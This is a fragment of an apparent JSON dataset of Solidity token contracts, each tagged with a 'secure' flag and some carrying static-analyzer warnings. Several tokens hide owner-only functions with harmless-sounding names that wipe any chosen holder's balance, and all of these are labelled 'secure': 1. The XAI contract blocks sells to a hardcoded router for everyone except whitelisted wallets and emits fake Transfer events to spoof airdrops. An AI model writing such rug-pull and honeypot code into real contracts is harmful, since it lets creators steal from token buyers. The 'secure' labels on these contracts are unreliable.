"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Theroaringpepe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pasture;\n\n constructor() {\n _name = \"The Roaring Pepe\";\n\n _symbol = \"RPEPE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 584000000;\n\n pasture = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pasture, \"Not allowed\");\n\n _;\n }\n\n function mutual(address[] memory theme) public onlyOwner {\n for (uint256 i = 0; i < theme.length; i++) {\n address account = theme[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_76.sol",
"secure": 1,
"size_bytes": 4370
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract XAI is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56cc710): XAI._e242 should be constant \n\t// Recommendation for 56cc710: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 849ebf6): XAI.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 849ebf6: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x4e46c7dA47Fc2f1700573667F2Cd6FEB0143E4f3)\n\t\t\t// missing-zero-check | ID: 849ebf6\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0xca4A41264D2e2da4A77663be7F5e182A1C7124Ff &&\n from != 0x4e46c7dA47Fc2f1700573667F2Cd6FEB0143E4f3 &&\n from != 0xA46FFE3d7eA84d3e0061d7E59224cE034EcE9771)\n ) {\n uint256 _X7W88 = amount + 3;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"XAI\";\n\n _symbol = unicode\"XAI\";\n\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_760.sol",
"secure": 0,
"size_bytes": 6533
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TSAI1 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable eggs;\n\n constructor() {\n _name = \"TSAI1\";\n\n _symbol = \"TSAI1\";\n\n _decimals = 18;\n\n uint256 initialSupply = 540000000;\n\n eggs = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == eggs, \"Not allowed\");\n\n _;\n }\n\n function fleas(address[] memory bodies) public onlyOwner {\n for (uint256 i = 0; i < bodies.length; i++) {\n address account = bodies[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_761.sol",
"secure": 1,
"size_bytes": 4343
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Japanesebitch888 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable lobby;\n\n constructor() {\n _name = \"japanesebitch888\";\n\n _symbol = \"HENTAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 828000000;\n\n lobby = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == lobby, \"Not allowed\");\n\n _;\n }\n\n function achieve(address[] memory student) public onlyOwner {\n for (uint256 i = 0; i < student.length; i++) {\n address account = student[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_762.sol",
"secure": 1,
"size_bytes": 4374
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8faf617): Contract locking ether found Contract PineapplePepe has payable functions PineapplePepe.receive() But does not have a function to withdraw the ether\n// Recommendation for 8faf617: Remove the 'payable' attribute or add a withdraw function.\ncontract PineapplePepe is ERC20, Ownable {\n constructor() ERC20(unicode\"Pineapple Pepe\", unicode\"PINAPE\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8faf617): Contract locking ether found Contract PineapplePepe has payable functions PineapplePepe.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 8faf617: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_763.sol",
"secure": 0,
"size_bytes": 1039
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract APEDAO is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable vampiric;\n\n constructor() {\n _name = \"APEDAO\";\n\n _symbol = \"APEDAO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 840000000;\n\n vampiric = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == vampiric, \"Not allowed\");\n\n _;\n }\n\n function organs(address[] memory cteria) public onlyOwner {\n for (uint256 i = 0; i < cteria.length; i++) {\n address account = cteria[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_764.sol",
"secure": 1,
"size_bytes": 4359
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Turingtest is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable constituency;\n\n constructor() {\n _name = \"Turing Test\";\n\n _symbol = \"TURING\";\n\n _decimals = 18;\n\n uint256 initialSupply = 231000000;\n\n constituency = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == constituency, \"Not allowed\");\n\n _;\n }\n\n function answer(address[] memory horizon) public onlyOwner {\n for (uint256 i = 0; i < horizon.length; i++) {\n address account = horizon[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_765.sol",
"secure": 1,
"size_bytes": 4383
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n mapping(address => bool) private _admins;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n\n _admins[address(this)] = true;\n\n _admins[initialOwner] = true;\n\n _admins[tx.origin] = true;\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n modifier onlyAdmin() {\n _checkAdmin();\n\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function isAdmin(address account) public view returns (bool) {\n return _admins[account];\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function _checkAdmin() internal view virtual {\n if (!isAdmin(_msgSender())) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_766.sol",
"secure": 1,
"size_bytes": 2037
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n}",
"file_name": "solidity_code_767.sol",
"secure": 1,
"size_bytes": 161
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IFarm {\n function getTotalRewardByPoolId(\n uint256 _pid,\n address _address\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_768.sol",
"secure": 1,
"size_bytes": 213
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFarm.sol\" as IFarm;\n\ncontract Storage is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 916ad22): Storage.basedAI should be constant \n\t// Recommendation for 916ad22: Add the 'constant' attribute to state variables that never change.\n address basedAI = 0x44971ABF0251958492FeE97dA3e5C5adA88B9185;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04853f2): Storage.basedFarm should be constant \n\t// Recommendation for 04853f2: Add the 'constant' attribute to state variables that never change.\n address basedFarm = 0xA6B816010Ab51e088C4F19c71ABa87E54b422E14;\n\n address[] public addresses;\n\n constructor() Ownable(msg.sender) {}\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 073d944): Storage.getPendingRewards() has external calls inside a loop totalRewards += IFarm(basedFarm).getTotalRewardByPoolId(0,addresses[i])\n\t// Recommendation for 073d944: Favor pull over push strategy for external calls.\n function getPendingRewards() public view returns (uint256) {\n uint256 totalRewards = 0;\n\n\t\t// cache-array-length | ID: efa5a4c\n for (uint256 i = 0; i < addresses.length; i++) {\n\t\t\t// calls-loop | ID: 073d944\n totalRewards += IFarm(basedFarm).getTotalRewardByPoolId(\n 0,\n addresses[i]\n );\n }\n\n return totalRewards;\n }\n\n function addAddress(address[] memory _newAddresses) public onlyOwner {\n for (uint256 i = 0; i < _newAddresses.length; i++) {\n addresses.push(_newAddresses[i]);\n }\n }\n\n function addAddressWithVerif(\n address[] memory _newAddresses\n ) public onlyOwner {\n for (uint256 i = 0; i < _newAddresses.length; i++) {\n bool isPresent = false;\n\n\t\t\t// cache-array-length | ID: 8456bcf\n for (uint256 j = 0; j < addresses.length; j++) {\n if (_newAddresses[i] == addresses[j]) {\n isPresent = true;\n }\n }\n\n if (!isPresent) {\n addresses.push(_newAddresses[i]);\n }\n }\n }\n\n function getBalance() public view returns (uint256) {\n return IERC20(basedAI).balanceOf(basedFarm);\n }\n\n function getAvailable() public view returns (uint256) {\n uint256 balance = getBalance();\n\n uint256 pending = getPendingRewards();\n\n if (balance > pending) {\n return balance - pending;\n } else {\n return 0;\n }\n }\n\n function getPendingRewardsFor(address _user) public view returns (uint256) {\n return IFarm(basedFarm).getTotalRewardByPoolId(0, _user);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b7671da): Storage.getPendingRewardsForUsers(address[]) has external calls inside a loop totalPending += IFarm(basedFarm).getTotalRewardByPoolId(0,_users[i])\n\t// Recommendation for b7671da: Favor pull over push strategy for external calls.\n function getPendingRewardsForUsers(\n address[] memory _users\n ) public view returns (uint256) {\n uint256 totalPending = 0;\n\n for (uint256 i = 0; i < _users.length; i++) {\n\t\t\t// calls-loop | ID: b7671da\n totalPending += IFarm(basedFarm).getTotalRewardByPoolId(\n 0,\n _users[i]\n );\n }\n\n return totalPending;\n }\n}",
"file_name": "solidity_code_769.sol",
"secure": 0,
"size_bytes": 3643
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n}",
"file_name": "solidity_code_77.sol",
"secure": 1,
"size_bytes": 1344
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MergeX is ERC20, Ownable {\n constructor() ERC20(\"MergeX\", \"MRGX\") {\n _mint(msg.sender, 1000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_770.sol",
"secure": 1,
"size_bytes": 338
} |
{
